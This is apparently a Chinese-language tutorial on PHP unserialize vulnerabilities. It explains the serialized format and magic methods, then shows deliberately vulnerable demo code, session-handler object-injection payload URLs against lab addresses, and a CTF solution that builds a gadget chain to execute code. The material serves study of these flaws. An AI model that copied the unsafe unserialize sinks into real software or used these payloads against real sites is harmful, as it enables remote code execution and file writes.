php序列化
1. 基础
1.1 什么是序列化
序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命是随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时再用unserialize()反序列化为对象
序列化后的格式:
布尔型
b:value
b:0 //false
b:1 //true
整数型
i:value
i:1
i:-1
字符型
s:length:"value";
s:4:"aaaa";
NULL型
N;
数组
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
对象
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
1.2 理解php对象常见魔术方法
当对象被创建的时候调用:
__construct
当对象被销毁的时候调用:
__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):
__toString
序列化对象之前就调用此方法(其返回需要是一个数组):
__sleep
反序列化恢复对象之前就调用此方法:
__wakeup
当调用对象中不存在的方法会自动调用此方法L
__call
ex1:
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
//实例化一个对象,调用了construct方法,输出了__construct
$obj = new test();
//调用echoP方法,输出了abc
$obj->echoP();
//被当字符串输出,调用了__toString方法,输出了__toString
echo $obj;
//序列化对象,调用__sleep方法,输出了__sleep
$s = serialize($obj);
//输出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化调用__wakeup方法,输出了__wakeup
//此时的echo又是相当于将对象字符串输出,于是又调用了__toString
echo unserialize($s);
//脚本结束,即对象将被销毁,调用__destruct,其中还有一次是反序列化恢复的对象,所以这里是输出两次__destruct
?>
1.3 简单demo漏洞利用
ex2:
<?php
class syclover{
var $member;
var $filename;
function __wakeup(){
$this->save($this->filename,$this->member);
}
public function save($filename,$data){
file_put_contents($filename,$data);
}
}
unserialize($_GET['a']);
?>
url(生成一个文件):
http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}
2. php_session序列化及反序列化问题
2.1 简介
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) |
经过 serialize() 函数反序列处理的数组 |
php提供session.serialize_handler "php" PHP_INI_ALL
可以来设置以上的处理器
测试的时候php版本一定要大于5.5.4(具体版本未测试,不然session写不进文件)
当存储是php_serialize处理,然后调用时php去处理
如果这时候注入的数据是a=|O:4:"test":0:{}
那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根据解释,其中a:1:{s:1:"a";s:16:"
在经过php解析后是被看成键名,后面就是一个实例化test对象的注入
ex3:
1. php.ini先设置session.serialize_handler为php_serialize
2. http://192.168.65.133/other/serialize/2.php?a=|O:4:"test":0:{}
3. 删掉注释再次访问
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
2.2 实际利用
- session.auto_start=On
Q:session.auto_start参数会在脚本执行前会自动注册Session会话,所以在脚本中设置的php.ini中(序列化处理器\session)相关参数是无效的。
A:先销毁注册的session,然后设置处理器,再调用session_start()注册session
先将php中session.serialize_handler设置为php
ex4:
<?php
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
流程:
1、提交链接:foo1.php?a=|O:8:"stdClass":0:{}
其中session数据是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次访问时,php会先按php.ini里设置的序列化处理器反序列化存储的数据(所以只能注入一些php内置类)
- session.auto_start=Off
当两个脚本的序列化处理器不同就会有问题出现
ex5:
foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
构造好链接:
192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}
然后访问foo2.php,就会执行代码,输出hilemon
2.3 安恒ctf_web3
本题是根据2.2中的session.auto_start=Off出的,本地环境搭建时记得设置一下php.ini
session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=0ff
当PHP_SESSION_UPLOAD_PROGRESS开时,upload一个文件,文件名会在session里面出现
详细参考:https://bugs.php.net/bug.php?id=71101
<form action="http://lemon.com/phpinfo.php" method="post"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
最后构造filename为
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}
再次访问index.php就可以看到执行了var_dump(1)的代码。
当时很疑惑的一个问题是foo2中的__toString
是如何调用的
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
看到foo1中的file_exists函数,它会讲对象转换为字符串,然后判断这个字符串(文件)是不是存在,所以有进行字符串的转化这一步,导致toString的调用(感谢p师傅的教导)
代码下载
3. 总结
本想继续研究一下一些cve方面的序列化漏洞,无奈现在正是忙其他事的时候。
有很多关于序列化的黑魔法:
https://github.com/80vul/phpcodz
以及p师傅的Joomla远程代码执行漏洞分析
http://drops.wooyun.org/papers/11330
都是需要好好学习一波的文章。
4. 本文学习的参考链接
http://drops.wooyun.org/papers/4820
http://drops.wooyun.org/tips/3909